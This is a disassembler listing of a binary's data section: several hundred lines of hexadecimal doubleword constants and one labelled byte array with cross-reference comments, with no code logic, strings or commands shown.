		dd 0CB00AE45h, 905AAC2h, 76E91AD0h, 6255BFA7h, 26EA78D6h
		dd 22520085h, 524A545Ah, 274D041h, 7275C158h, 55261FBEh
		dd 0F66842Bh, 0F24688B3h, 6882CE61h, 0F4333A72h, 2C48128h
		dd 7BAC27B3h, 6890558h,	0CC1C8C0Bh, 0FFF0B0h, 4817FCBAh
		dd 0F20F2B92h, 160908C4h, 40F71F8Eh, 7BC2B92Ah,	51B8460Ah
		dd 0C0247348h, 11A96857h, 5F2C13F5h, 0A6000C47h, 0F87A8911h
		dd 94C10125h, 61F8923Ah, 27E91B5Ch, 7722233h, 215A1E79h
		dd 722EF660h, 16D03DCh,	1AA2E9F5h, 59EF4103h, 98FFC780h
		dd 91301FF7h, 1E90460h,	0CE3BB48Eh, 9223241h, 89666407h
		dd 584DD502h, 537326A5h, 0BA41269Ch, 10D93D05h,	55AD6E0h
		dd 0E903E6C1h, 0E2D52465h, 34681E85h, 9A299625h, 0BF6810E0h
		dd 0B3E93A30h, 4E0F0B0Dh, 3E52407Dh, 579E15Bh, 0AE0A9639h
		dd 66034D50h, 0B31CC030h, 4F9858F7h, 79E510h, 632E45BDh
		dd 90EA2974h, 59FA7F75h, 0AB455A56h, 58407830h,	83C8D67Ah
		dd 0EF424AB1h, 7EB88050h, 4DF21317h, 1FFEC529h,	952CD246h
		dd 43A90012h, 5DEE2963h, 0C425874Eh, 0C4806488h, 0D0D921F7h
		dd 8F6853CEh, 423F4C55h, 0FB0818CDh, 6621C642h,	0A8EAA597h
		dd 414E4FA3h, 3F7FC2EEh, 0CA29C8E6h, 8A2EAF0h, 193A871h
		dd 0BD55D305h, 12EF3FCCh, 46E1E0E9h, 6C14B167h,	50661081h
		dd 80E4B6FCh, 3D11C638h, 180AD8F1h, 80603E9h, 16C948FEh
		dd 9313C416h, 0CCE95D70h, 0F3A1804Eh, 828BBB3Bh, 51D85929h
		dd 5F80180h, 0CD134F87h, 902D5F27h, 5E07A715h, 0C18FFF6h
		dd 52A13DB0h, 9878B628h, 200E2F41h, 4C83B13h, 17CCDF13h
		dd 4656144Fh, 2814DD7Eh, 30AC575Eh, 0F25D818h, 61E902B6h
		dd 0ED08AAEEh, 47BCE936h, 295D00C5h, 0F58158C5h, 9C099A6Fh
		dd 1230E9E3h, 0B9870730h, 0C6BF2E91h, 2341FB21h, 6401442Dh
		dd 92BB208Fh, 825555CBh, 4271941h, 9443835Eh, 295A22A0h
		dd 6068C36Eh, 65C942E5h, 4330F301h, 4A53FC9Eh, 0E65E047Ch
		dd 9554C189h, 0DE6C3961h, 0A3F79CCh, 0C6AC457h,	0D8300033h
		dd 9E441168h, 4878626Eh, 276513ECh, 0E1975F2Fh,	66263792h
		dd 1E6812B7h, 0C254341Fh, 5C78D09Ah, 0F75D590Fh, 54E326D5h
		dd 0B2AEFE47h, 88FFB3F8h, 0B9A24047h, 175B0344h, 2C1C4F09h
		dd 0EE4B68FBh, 29E26549h, 0F38780BBh, 1ED6A93Ah, 6CDE29CEh
		dd 725D15D1h, 0EDE35D73h
		dd 75C11696h, 0E0E826F3h, 61F2BF05h, 0CC107E76h, 0CCA07E06h
		dd 15B9FB31h, 8754A63Fh, 515E0BCDh, 83B2E913h, 6D4C5C3Eh
		dd 76680B4Ch, 86DB6635h, 178027E4h, 2CD3C910h, 4F2085B2h
		dd 0EF832EE2h, 66694FFFh, 15A8440h, 0BD2CF978h,	6142A963h
		dd 8BBE0075h, 72E4C2Ch,	41131031h, 9991FDC6h, 145B6294h
		dd 0DEF75801h, 10AF5160h, 423917h, 1D892D73h, 4C5EF531h
		dd 66A97C1h, 62B70977h,	0BE1D4066h, 5D62685h, 0E1819580h
		dd 0AF570488h, 0C0D1F714h, 361DAA5Bh, 5BC2D4Ch,	6F516764h
		dd 0EE2DBDC7h, 0E7DC4561h, 0C158CE88h, 4E4D04B6h, 0D8F60159h
		dd 2CE8E0C0h, 0D8885061h, 28A509B5h, 24805BDDh,	0D2FBE951h
		dd 7E884CCCh, 0C247BCCEh, 4ECACF89h, 0B9D98A42h, 0D186D7E2h
		dd 922AB20h, 44A28566h,	5707CA9Bh, 6CD5C062h, 0B08EB94Ah
		dd 6F0BE966h, 58C16880h, 0E0D4C865h, 0C8348E12h, 57A158B2h
		dd 0E6F0656Fh, 4CAB934Ch, 1DF088FAh, 515E6184h,	91CA6C32h
		dd 70B4877Fh, 345048C6h, 0EE25392Dh, 97E92D09h,	7AFE2701h
		dd 0AFA4266Dh, 7122193Fh, 24E331DEh, 57035115h,	0CD193ABFh
		dd 66CE14Bh, 1C2026A4h,	89DA9ED2h, 11B18258h, 1E2978EAh
		dd 0F200A4B9h, 59C8313Ch, 6E802E68h, 7B94C044h,	314053C1h
		dd 89C25029h, 2D774072h, 0FA395E0Fh, 40D44943h,	1A81BE25h
		dd 781FE87Ch, 0ACD9454Ah, 0A3DCC94Fh, 8451B5B8h, 0E5C02D80h
		dd 0B0F67602h, 4AE27055h, 217B54F5h, 5CB540F4h,	0FEE4E580h
		dd 0F8E9C50Bh, 700F9A08h, 0BA5202A1h, 2B097883h, 0FB8E8B89h
		dd 0D4F687E0h, 0E92DD601h, 4B83853Bh, 6F58A204h, 0FEE68100h
		dd 7500F3Ah, 700303D7h,	0CBE972CCh, 61DA69FAh, 0A2AD480Ah
		dd 685109F5h, 0FD2447C7h, 5A7DA88Ch, 0F256E85Eh, 68B0E080h
		dd 88510C53h, 5A1852C1h, 0F6CCBA80h, 0AA2C6097h, 117B676Ah
		dd 0F60AE2ECh, 0EC27425Fh, 3A161030h, 0CAF8F39Ah, 0A23213D6h
		dd 83000F58h, 806979A5h, 0D9092CB4h, 0DD4DF7F0h, 646C652Dh
		dd 0D081DDD3h, 769C58D8h, 45F10553h, 80683BB9h,	0C851F384h
		dd 0CD017313h, 26083C10h, 590C5329h, 0EAE94E83h, 25B8DF4Ah
		dd 7150A010h, 3D36BE80h, 0A1D05B03h, 50E0FE4Fh,	14ECAD54h
		dd 0CF0E827Fh, 0D23B3C00h, 5AD62161h, 0D754B398h, 0C360319Ah
		dd 7F143FD2h, 7977906Eh, 4E1F01D4h, 567AF781h, 0E4D2888Fh
		dd 855819CBh, 0BFB8485Dh, 59598DDFh, 77D4754Ch,	1FA6C94Ch
		dd 22253D51h, 56F12128h, 2D896B2Ch, 8740519Ch, 1C9B5Ch
		dd 6806E9C1h, 99954C01h, 56D6DE43h, 515E8258h, 51825954h
		dd 410447DFh, 0CA09E1C4h, 6AC8051Fh, 6B388F01h,	81204D7Fh
		dd 0F1A30226h, 5AD131BBh, 47B2FE60h, 4936F71Ch,	941D9C9h
		dd 2CFF5060h, 1ECDA29h,	7701BEEAh, 0E9C2CC7Ah, 48408725h
		dd 3D1EB508h, 0B2F4477Dh, 0CBFE3B9Fh, 44F9939Ah, 2231B8Ah
		dd 0A800224h, 0EB4C14C3h, 539802FFh, 4057606Ah,	0B77A07Ah
		dd 0F0E95938h, 6529C7C1h, 0F0ECE551h, 0E4ED6B0Ch, 4D251EDBh
		dd 1F9440B6h, 52ADBE39h, 522E1A78h, 0F6AA88CDh,	0DD66EBF2h
		dd 9C56D5DDh, 0C8B62632h, 67684106h, 0CA656C2Ah, 62A6CB1Ch
		dd 0BBC17E12h, 0CC54C301h, 0F92901DCh, 1595E682h, 0AF61468Eh
		dd 0C14F822Bh, 6CCB0158h, 0A08EB0FDh, 0A260C2BCh, 6808021Eh
		dd 0E9B0C85Ch, 0AED95576h, 2D78D4A8h, 0D0BA0BFCh, 5BA2166Ch
		dd 1121664h, 64B15DEEh,	8C4A8A3Ch, 337E96Ah, 0FE525EC7h
		dd 0BF9DC9C6h, 247C1F51h, 0D706F9DFh, 524EDE2Dh, 52F11FA8h
		dd 8843E0DEh, 975E2B4Fh, 388637D3h, 8C679C69h, 773DE1EDh
		dd 4CE9280Bh, 30D74619h, 531EF144h, 5C287EBBh, 0E3019413h
		dd 70221F2Dh, 0AF30EBC1h, 0FBCC32C3h, 5B42012Ah, 0AC8B2154h
		dd 0F2C3C66Eh, 77584A31h, 52DB283h, 0E2802009h,	0C036C237h
		dd 7A34ECDCh, 3D4DE92Bh, 0A55924C5h, 40791F03h,	68A4E222h
		dd 1E105C8h, 1C53CFEh, 625F58C6h, 0F6609CCh, 52A0E9BBh
		dd 26E4AC55h, 0DC8F535Ah, 45140128h, 6C03653Eh,	788B475h
		dd 29CCDA83h, 0EE430271h, 0E2A6D48Bh, 88020F50h, 4B6015E9h
		dd 0A3FFED17h, 2D580008h, 14C755E2h, 550E801h, 572FE907h
		dd 2D9B1071h, 0DA6928A7h, 2BB22C80h, 0D8290246h, 4480DE9h
		dd 76F131ADh, 7FBE0266h, 620BC129h, 0FA326050h,	0D0010907h
		dd 9872D2E9h, 0FD02CABCh, 0E3CCF51Bh, 5BF11E5Ch, 0BD7C5868h
		dd 5C827A21h, 0C83E694h, 0D0A70EBAh, 10926804h,	3005BAF3h
		dd 87077016h, 0C6316057h, 0F2020121h, 0EAC1425Eh, 0D7FD8705h
		dd 0E977AD30h, 0C40D532Fh, 2DAC076Bh, 96D35568h, 0B001EE0Ah
		dd 2522D140h, 0BABA22Eh, 5B2164CCh, 0E95B45C0h,	25C94041h
		dd 1F213662h, 5F0754EAh, 83355102h, 505A5CF0h, 6C382668h
		dd 0BFBB617Ah, 1C9302Ah, 852D6DB6h, 0C00EFA8h, 52E7D158h
		dd 0BC6D0B68h, 9388C08Ch, 0D7310043h, 5FFB295Ah, 4275682Ch
		dd 48CCE9C2h, 7AEB2E2h,	0C280D2F6h, 70EA308Ah, 10DFCAFEh
		dd 30E22CE0h, 0D9F60F31h, 8520C167h, 0C9122C8h,	0BD988BC4h
		dd 0DF009845h, 13471DAh, 8DB95105h, 0DA188B7Dh,	0D1597569h
		dd 573E70D1h, 2A5A2497h, 7B12CA95h, 4BC1E7h, 19575423h
		dd 604EE910h, 3CD18016h, 570374A9h, 2B676179h, 0C9F5535Bh
		dd 912D4BE0h, 5EBF3250h, 0EF59305Ch, 0C791FF79h, 0E95B5404h
		dd 0D476B125h, 0AED2C455h, 818385DCh, 22093253h, 75C4A5Bh
		dd 0F09DB878h, 56E97A3Dh, 5330864Eh, 3FB723D8h,	0D4348131h
		dd 37FCA80Dh, 6DD9033h,	0D35C0D92h, 4727685Ah, 6D4782ACh
		dd 98E2834h, 0A63A5D54h, 0E955D5C0h, 16F38B59h,	2F8DF820h
		dd 975C94F4h, 0BA14E20h, 0CC058B1h, 0F44FE86Bh,	5FF92E01h
		dd 1029EA95h, 2AC5CC3h,	122C4BF2h, 0C4AF8766h, 294CCE70h
		dd 84AD0D7h, 5C7A814Fh,	2E7FF10Bh, 0EAE96302h, 0B115CBC5h
		dd 0A6743C63h, 6A065CE1h, 0B7813A27h, 0E0CF8147h, 6262E735h
		dd 0C3789D2h, 0EB2E88Eh, 3CEB6814h, 2610D588h, 802575Dh
		dd 606C230Ah, 0FC42D605h, 0F3E91332h, 0E011C927h, 0C2BC102Eh
		dd 4E7CCA8Bh, 0C2149E0Eh, 83A1E75Fh, 0CDB705D8h, 13507073h
		dd 534F84BAh, 820B8E8Ah, 4003EC21h, 0B7131A99h,	63503FBh
		dd 0B69266A2h, 284110E5h, 52516600h, 0F18859B6h, 0E1B85A7Bh
		dd 0AAFC6320h, 158560A4h, 4E113F19h, 2CFDB110h,	0C96322BBh
		dd 4C1504E5h, 827FF856h, 402C0171h, 0E7AD5h, 457E2D46h
		dd 0DA056FA3h, 2A699B05h, 8409C321h, 56D0CAF0h,	76780B9Ah
		dd 0EABAE9B3h, 0C6BE1192h, 0F70BE916h, 74C0DA24h, 3C0D971Ah
		dd 58BF5051h, 4191D01Fh, 776546E1h, 3DF1D82Bh, 5D0D1209h
		dd 0E9599031h, 0B0529AB5h, 7D91285Ah, 771C606Ah, 636212Dh
		dd 0C1025C75h, 14C295Dh, 56736AF8h, 85E967F2h, 4A08F23Ah
		dd 95FC5EDCh, 3996EB20h, 0BACC685Ch, 48010D92h,	8744EDCBh
		dd 361E60D0h, 0A241AEBDh, 0F50E50B0h, 63292D3Ch, 0E5C14Dh
		dd 0B8A5B115h, 5DEB8910h, 5B60D9E6h, 0D73724F8h, 22FE9406h
		dd 48C9E285h, 8A007649h, 0E954CA53h, 0A3C04F39h, 4AE2CD8h
		dd 345B000Bh, 58C328A4h, 0C028B60Fh, 687BBD8Dh,	0D731394Eh
		dd 0DB57C1D9h, 0FB11698h, 5907CB08h, 32E34780h,	7C16FC3h
		dd 19D248Dh, 0BAE4809Dh, 0B0D7656Eh, 14662CB8h,	0E92C0D8h
		dd 1F996D8Fh, 6748602h,	0EBCE4227h, 0E6EAE04Ah,	0B5762E85h
		dd 245A1731h, 2010D545h
		dd 55B92D61h, 0DC7D1528h, 0E088E918h, 188AF241h, 584E6740h
		dd 1030E3C4h, 0AA684DE4h, 4476AA5Fh, 0E95844E1h, 0D612965Eh
		dd 89800EE2h, 31E93072h, 53CA6D4Eh, 14614A7Ch, 6D051FF4h
		dd 148C2Eh, 0B85E9D88h,	0E230C163h, 1712E008h, 9E0095A9h
		dd 53B77244h, 22D918C1h, 0BC007BF8h, 0B94E329Fh, 7BF39210h
		dd 480BCE00h, 0A4E95F2Fh, 8619B49h, 211733C1h, 0C0000912h
		dd 0A28983F5h, 36FAE652h, 0B9A12DE9h, 82C83799h, 44F56042h
		dd 0D37209Fh, 8F0E544Eh, 8464B755h, 56A003ECh, 64BC74E9h
		dd 0FE3942Fh, 1876C88h,	2B170CA8h, 0A6CA50C4h, 5234B7Dh
		dd 0C3D5292Eh, 0BAD2EA72h, 80056358h, 0E888FEF5h, 0B9278E2h
		dd 0DC4830E7h, 0CA000763h, 8482B841h, 1295BE7h,	330559C8h
		dd 931C2A72h, 9AF476B0h, 2CB57BEDh, 1230089Fh, 0C68C642Eh
		dd 5E48106Ch, 10164C3Ah, 9781F64h, 685358C7h, 0CA3EB199h
		dd 4C4D540Fh, 663A257Ch, 0C06EA486h, 0FCB353C4h, 0F64E6AE9h
		dd 0C9A2CCD1h, 28C10101h, 0F64CDF55h, 0FB7B72h,	6313EB81h
		dd 2B315CDDh, 87A63B8h,	58F330B5h, 8D569618h, 261CBFE8h
		dd 940690CBh, 0E7C08271h, 9A15607h, 0E060D3E9h,	0F6589DB5h
		dd 52C03F7Fh, 56931FBBh, 52412B13h, 6DDE32E3h, 10D5D730h
		dd 0B43C10Ch, 80C62159h, 3CDCE63Ch, 5739852h, 63385DF6h
		dd 0B896877Eh, 18DD5512h, 0C0F31EF8h, 3E0C182h,	3E1D4B2Dh
		dd 807C3AF5h, 8971CD96h, 980158C5h, 4DC292A2h, 0C210C531h
		dd 44D65056h, 51BA6912h, 94C6B100h, 0EE799C6Fh,	0E9D613F7h
		dd 8049808Eh, 0CF0E7C1h, 0D3FAE0ABh, 44836D7Eh,	0F961A3C2h
		dd 2C4437BBh, 0F2D1A6C9h, 534A9E21h, 0C0EDA41Ah, 0D0EEB7F1h
		dd 92F601E4h, 4017933Ah, 7B56A5B5h, 36985973h, 11015DE2h
		dd 0B529BE4Dh, 0D0D2851Ah, 4B5C25B2h, 5056B410h, 5E306800h
		dd 5581821h, 0C61F0046h, 6DFA0D38h, 40006E26h, 0F85CB42Dh
		dd 9AD6E976h, 2428A48Ch, 42271158h, 4305BEC1h, 0AA288701h
		dd 4868B454h, 1FB2647Fh, 1A56EC52h, 0F9DA624Ch,	135F2C09h
		dd 58C2D31Bh, 34C05DC1h, 0A991C4E7h, 0C6B55104h, 0C5803680h
		dd 2DE8E070h, 0BCC8EBE9h, 0FBE65BDFh, 0C827A096h, 5E82E9A1h
		dd 0C873301Fh, 5B519D15h, 9151F8D2h, 0EEFE0A50h, 9C44FC01h
		dd 0E9F529FAh, 186678E6h, 7E66A1B0h, 0E85808EFh, 0C03A83h
		dd 0F6C8FE02h, 194E2CD0h, 647EB80h, 50B260B5h, 0BDF2B43Dh
		dd 0E362F0F4h, 0BD370D6h, 219C7DCCh, 5F9C342h, 2575C048h
		dd 353A30EEh, 0E78807Eh, 760570FAh, 0D8C10974h,	0AF96C689h
		dd 0E6F0292Dh, 0C00F958Fh, 5D296F6Fh, 359EF416h, 0C212766Ah
		dd 284ADFB2h, 2C5A8729h, 0F8C83D22h, 0E0B70095h, 0D7F6CFFEh
		dd 7373EF80h, 189A5FEEh, 46BDE92Eh, 7D932D87h, 373504E0h
		dd 9202E0CAh, 0B6EEE6D1h, 49E989E3h, 0A5BF1820h, 2D00EF18h
		dd 798CF81h, 0F2C1068Eh, 30C9603h, 5BCB1F71h, 480BD220h
		dd 0D54E9CA0h, 0AE96014Dh, 35217046h, 882FA94h,	23DC9AE9h
		dd 25DE889h, 5A52A043h,	694B008Ah, 0FA31EE9Eh, 0A6FE4A5Fh
		dd 80266E94h, 68931852h, 0DF0B956Ch, 1365714h, 4148E3FDh
		dd 4C08690Dh, 6D9807FDh, 0DF97087h, 673A1E63h, 0B0F9C485h
		dd 0D3246698h, 588180Ch, 59BC31BDh, 44EE107Ch, 5438276Ah
		dd 809E1CAh, 47508609h,	3CD320EBh, 2D3C5B5Bh, 3A4B91D2h
		dd 8090BCA0h, 0F7810700h, 66B0373h, 83DD9057h, 81E5FCDEh
		dd 84F1A171h, 0EAD1B18Bh, 7371C480h, 57001FFCh,	1B0C87BFh
		dd 9FDDE944h, 104AD38Ch, 3866E2A9h, 68028155h, 2A2C7E3Eh
		dd 0B848A092h, 9457F140h, 16CA02C8h, 386039D9h,	8380DFE8h
		dd 0B820707Fh, 0B6C17C63h, 1ADA807Fh, 0CB2D7E46h, 7226641Dh
		dd 2E53B942h, 0F78E8095h, 0A4377102h, 0E908809Fh, 2B7FB6D8h
		dd 0C33009B9h, 6866A740h, 919729E6h, 9D523587h,	4376C288h
		dd 0D091D215h, 0C932BC62h, 30BC82D8h, 27AC55A4h, 44501209h
		dd 0EE924A1h, 0F110AD29h, 5F55F829h, 0B50E401Dh, 0ED1E802Dh
		dd 0A63E2CC8h, 448B96DFh, 89FF710Ah, 6B795868h,	97CE985h
		dd 119683ADh, 4D73411Ah, 5E941AE2h, 0F20D5D0Eh,	0A0F5014Ah
		dd 0E6E91208h, 0D78C4563h, 5E342230h, 8016CD9h,	21202515h
		dd 56300D3Ch, 69492D85h, 1A127E24h, 0F00C0E1Fh,	1205F174h
		dd 1F2C45D8h, 35D9099h,	0EB28A6B5h, 0E1C38359h,	1C65327Eh
		dd 1D2D4080h, 0F989269Ch, 0EDC05F5Eh
		db 0E9h
byte_520045	db 0B7h, 5Dh, 0ACh	; DATA XREF: ___:0042AC08o
					; ___:0042AC20o
		dd 5F564A89h, 3E4D8A74h, 0C1C582B6h, 0B76A5F6h,	0F305070Bh
		dd 0D82F3E80h, 4DA8B5C4h, 40F7295Dh, 956C4896h,	60F28598h
		dd 96666880h, 20163D43h, 2C62910Ch, 27FD72F8h, 99CE0ADh
		dd 85E58F0h, 40A74C60h,	0E9D3820h, 26624817h, 0E740265h
		dd 0A6E07C0Ch, 0B9281B7Eh, 9009AF30h, 62CFF7F5h, 8E571D0h
		dd 5F17DB10h, 0A60678Dh, 0BC97B147h, 6AE40125h,	0ECAD4C40h
		dd 0ED2CFBA1h, 662A97C0h, 0EA24C13Dh, 0CB030308h, 26333468h
		dd 1F17830Ch, 46C02579h, 29136555h, 8A565AD7h, 0D5D47EB2h
		dd 5E7CB043h, 0E2CF5658h, 0E9F71281h, 4084BB04h, 50DA8C1Bh
		dd 0BA775B60h, 0FFFDE82h, 524402E6h, 89C4A444h,	0A2D3540h
		dd 36FBDC61h, 749C00A3h, 0F0311D80h, 719A5DB8h,	606495Ch
		dd 0CB852C0h, 0D5B5000Ch, 0CF89E36Dh, 155FC7E9h, 0DE03789h
		dd 0C8B9C918h, 431BFB51h, 59CDDA27h, 0B555445Bh, 292CF981h
		dd 0BB5301CAh, 1A7C224Ah, 0E06AAE71h, 0CBEC0F5Eh, 1707BA0Fh
		dd 6EB0066h, 924272E9h,	97681F78h, 5927C363h, 11F24149h
		dd 20ACDFE9h, 0E140CB34h, 2FEFA6BAh, 4C1A6BD2h,	0D9210D02h
		dd 1AD704F2h, 0A5DD92A2h, 53076DEEh, 0F6685B54h, 96C85129h
		dd 5D538212h, 0F1FAF35Ch, 0FB8BE70Eh, 6857DBC8h, 0E9B62B54h
		dd 0B1DC931h, 222AB979h, 65C4305Eh, 0B0196D60h,	206342Fh
		dd 0BFB35366h, 3BC4D830h, 0D3C529F3h, 33E4B412h, 3011BF0Ch
		dd 417ACBBh, 0B537C240h, 5A53972h, 549A690Ch, 0DBB41A3Ch
		dd 0C89684B1h, 0BE1E202Fh, 2D010B48h, 4DB0B874h, 0E271D554h
		dd 9CE5141h, 3CAA8205h,	0F763C507h, 92C7C9ABh, 0C95BF8C0h
		dd 830E6AC2h, 22E9CB5Ch, 0C6030AFAh, 0E0901AF3h, 0A3525489h
		dd 0BA520053h, 27EC1CF9h, 852DE942h, 0A478462Fh, 2B7F00EAh
		dd 0F2813949h, 0C7097368h, 0A01BE90Ch, 42AABD1Ch, 0C1471215h
		dd 55AF0EE5h, 8A03C9D3h, 0F7BB11FCh, 0C7684882h, 61A8A225h
		dd 895B0069h, 314F5EF3h, 7CE27ED9h, 0B22C17DEh,	0FC134B63h
		dd 4E7CD3E6h, 0FB431E1Eh, 36B28C2Dh, 29333D86h,	60A61255h
		dd 0EE9EFA81h, 0D86E3B53h, 0D01BC92h, 0DE0DDCF0h, 225214C1h
		dd 65E90BCEh, 0FE91320Dh, 2180316Ch, 0D0DD7423h, 6E595A78h
		dd 0FD89017Fh, 50ED815Fh, 885E6E7Ch, 1ABD5D9Ch,	1FADE866h
		dd 2D4BB354h, 373F04B0h, 0C776C082h, 2F2981E3h,	2D572400h
		dd 0C75A2ACCh, 15EC2CC6h, 4F901A7h, 0F053B615h,	4E0056CAh
		dd 0EA836D65h, 0C4D2F701h, 1C68F1C0h, 0DC8D52D6h, 0D3B7D1F4h
		dd 0F2990B66h, 4CB81CC0h, 5D271017h, 4A2B0E4h, 293A0B38h
		dd 0C0C6444h, 5E4CB258h, 4E05CF5Dh, 82D27134h, 0AC280406h
		dd 0DAA69326h, 808AB000h, 0FEE9D1C6h, 16696BAh,	0E8990490h
		dd 0F4421730h, 4DC80912h, 0BEF159A0h, 1905BD32h, 1C1835Bh
		dd 0D9969201h, 3820E5A2h, 1DC082E8h, 30251893h,	203C4440h
		dd 43B4328h, 13EB5CA9h,	81E6BD2Eh, 327C1293h, 0E9021491h
		dd 4E9150AEh, 74369B58h, 5762F758h, 76D22402h, 0C1EF318Ah
		dd 1FD7C203h, 921C270Bh, 46BDB660h, 6EB07E0Fh, 45157389h
		dd 4CB304A2h, 9987CB30h, 3CA6594Bh, 0B6F0610h, 44337068h
		dd 30B80553h, 0C0468F28h, 0D7CD3544h, 81B97000h, 233A07C7h
		dd 2F017647h, 8E686568h, 6F9EFBEFh, 0FFB55143h,	552999B2h
		dd 83DC399Ah, 5932FF89h, 5A156CFAh, 6818B392h, 0F061095Fh
		dd 0DFF780C7h, 64A15EEh, 0B660BFB3h, 8768D488h,	0C96C2D58h
		dd 4861F851h, 5A7A66CBh, 71C4D702h, 8109C841h, 33A3190Ch
		dd 4C3701D4h, 0B8FA844Ah, 86E9C6DBh, 38FB745h, 73950660h
		dd 61B0FD01h, 0BE90880h, 4D296A6Dh, 0A4BFB943h,	0B5E4F499h
		dd 17E1C448h, 0EB8100B6h, 1E2703A0h, 39C30175h,	0B4580850h
		dd 5C0D6C6Bh, 84782958h, 10E4D5A5h, 6D53637Bh, 929BC231h
		dd 25F3057Eh, 4458F56Ch, 962840Fh, 5FD85006h, 0ECC16695h
		dd 0D9025BE9h, 66C163CCh, 0FE615A48h, 9C06D8D3h, 0B560ACE9h
		dd 71566892h, 0FD7B7AFCh, 5C0FD82Ch, 0B809FB01h, 585429C2h
		dd 0B4FF8C2h, 5B4A4872h, 0CA7C9D9h, 0E9C1AC18h,	5714075Ah
		dd 0F85C9A2Dh, 0BC009DB9h, 87AEA8F1h, 0CE29F918h, 0F654C6E2h
		dd 0C7C74BBCh, 8BC29424h, 0C74934DDh, 820B915Eh, 9809EE61h
		dd 0B6D4407Fh, 8D7A6C77h, 83306681h, 0BA0E5976h, 0B2F02187h
		dd 8E7609A3h, 40D6DE52h, 72803310h, 5F060182h, 0AA3509E9h
		dd 0E339E8EFh, 0C5892416h, 0BCC4E2Ah, 3409F557h, 533FE2Ah
		dd 6499505Ch, 4D04A660h, 88B6CE65h, 0E9376825h,	423405E5h
		dd 0E6C24801h, 6B1C84Bh, 5357CE92h, 1B44865h, 3A590C2Ch
		dd 403BE7E9h, 5C62C9E9h, 0E1EC72B0h, 2960C402h,	80D9F724h
		dd 0B514F0D4h, 93C9017h, 6EEF348Bh, 6813AE50h, 0BACD161Ah
		dd 10508F69h, 1A401248h, 352D133Bh, 308809D1h, 0F3002CDAh
		dd 0DC369254h, 585BDF01h, 0AE90F757h, 341A3817h, 0A70489FEh
		dd 1EBF9406h, 82701205h, 433A682Ch, 88084B92h, 0E460889Ch
		dd 8EF42116h, 95371D76h, 0E087BC07h, 0C0D86AC8h, 0BD245CEFh
		dd 4C01573Bh, 3C0841B6h, 0DFE9C340h, 0D85F0FF8h, 0DE295266h
		dd 2C5C5DC2h, 8283253Ch, 41295A7Ch, 36A6A34h, 74EC8007h
		dd 28C1C398h, 2094E35Ch, 88521C66h, 9F597DEh, 1D503965h
		dd 97B25E4Bh, 8FC731D6h, 82206CF9h, 7119E368h, 5C3589FBh
		dd 0C183E6DBh, 0D606386Ah, 682A1C08h, 7561D41h,	39265131h
		dd 0E925CBFAh, 894B8B19h, 6F7E74D2h, 7A85D38Bh,	534709C3h
		dd 0F1CBFE56h, 84B71619h, 79D7B9B1h, 13652F49h,	77CC4668h
		dd 84805BAh, 0C0295F0Bh, 506853EAh, 3D1A6B0Eh, 7DBBE15Bh
		dd 7A808B15h, 9E3222E3h, 0CBEE4B52h, 2333B701h,	6A37E95Eh
		dd 894E6F76h, 73E1F8ACh, 9182779Ch, 0C0759602h,	804CFE0Dh
		dd 0F73C8058h, 0DF2D926Bh, 7FE11CC9h, 0BC211AFh, 55723576h
		dd 1557A01Ah, 84CA21B3h, 0AE5E5456h, 49684567h,	0B2FA7D93h
		dd 0EAE251C8h, 778F5D1Eh, 80C43CD3h, 82D782B8h,	0A17C5205h
		dd 0E958E8E9h, 17B25CA0h, 0A439B3C7h, 5E74A0F1h, 0CFC5DEBEh
		dd 0E6046B97h, 0AD6A35AEh, 277DD4D3h, 0FBAF892Bh, 0EEE9C2E9h
		dd 0B49D40F8h, 9610B0DEh, 40B8391Fh, 9651CC1Eh,	0AC5650E4h
		dd 0D769D4CFh, 0AB0B2F8h, 4DDAC304h, 35C07DCAh,	48544A4Eh
		dd 8021810h, 436C8E3Fh,	66E6F2C0h, 0C717630h, 989B417h
		dd 5BDD01DAh, 4337FC1h,	0D6386E8h, 0D98C22E9h, 0D9BCA54Eh
		dd 5084496Eh, 0BF570011h, 0B2797h, 9474B943h, 0F9295245h
		dd 72985F59h, 0D11F6F4Eh, 315A540Bh, 0EA405780h, 489E6EEEh
		dd 9040B04Eh, 36F1B05Bh, 0CD08D2F7h, 6A0F3901h,	1F5DE93Eh
		dd 0EF8B9D2Fh, 0DD15E194h, 3E0CEDDFh, 1E953434h, 0BAC4F8F2h
		dd 68831FDDh, 9DE44470h, 0B6F5B100h, 2F010D6Bh,	0CE33EF89h
		dd 0E92FC2C0h, 7085ACA8h, 731DA2Ch, 2F3FAF88h, 0F0F7FB66h
		dd 0E582C210h, 559A3FDBh, 3542D16Bh, 345C38C8h,	6E30E525h
		dd 0B85A2DD1h, 155BE722h, 0B66F63FEh, 621F0952h, 3E11638Eh
		dd 0D3C116D3h, 0DFF798BBh, 0D98951F1h, 0B4763368h, 12E32469h
		dd 9771CC44h, 63E33717h, 0B0FB7106h, 9F37BC26h,	0A045AD26h
		dd 8127E81Ah, 2D5A0A66h, 0E6030020h, 0C70258E1h, 4B3A8C06h
		dd 9A090C10h, 0B7AD413h, 5FA025D4h, 0A87B96ECh,	48E681F0h
		dd 6D3D0BF2h, 7E609BADh, 0B7F21AB0h, 0CFFE6A18h, 9B65204h
		dd 6780E94Fh, 3F227C90h
		dd 317EB412h, 0C09AFEA0h, 175D059Dh, 0A3EA6FB2h, 70E0741Fh
		dd 0DF5342D3h, 28191DDAh, 795AFFD3h, 0E9D881D5h, 418014FDh
		dd 395697C7h, 0FA318988h, 64B525Fh, 4BE936D4h, 53860966h
		dd 264CD59h, 3FE95C60h,	9E8CB04Ah, 3FA9B8C9h, 93176498h
		dd 167DB302h, 0F2A2E821h, 0D1C20980h, 6F5C31E2h, 4CF012B5h
		dd 1B95DCCh, 78C3391Dh,	6C52E9h, 98F2875Eh, 0D1154F4Eh
		dd 6E23DB2h, 43C916D0h,	0EA9C0FE5h, 0E9D748A4h,	35470051h
		dd 0EE812B05h, 0F20B0128h, 0E9F331AFh, 579384D0h, 0A9B35F54h
		dd 85C9255Ah, 0EC22952Ah, 9268E081h, 9099BF72h,	46056A50h
		dd 55C49EB3h, 8BF8E30Fh, 90D972B1h, 0B519017h, 0C6527ADh
		dd 0C801F5C0h, 590A0550h, 2C08316h, 406DBCA4h, 4CB65F57h
		dd 2C2EF953h, 16505B02h, 95D9213Dh, 48B835D5h, 54508517h
		dd 0CCF8F5C2h, 80187AB1h, 281D6304h, 53072CC8h,	0D2E2DDB3h
		dd 0D525C849h, 113C120Eh, 685F1401h, 8B6A2600h,	0E8C14836h
		dd 71350300h, 2961E670h, 0DA9695C3h, 0D4FE9F6h,	0D531BF02h
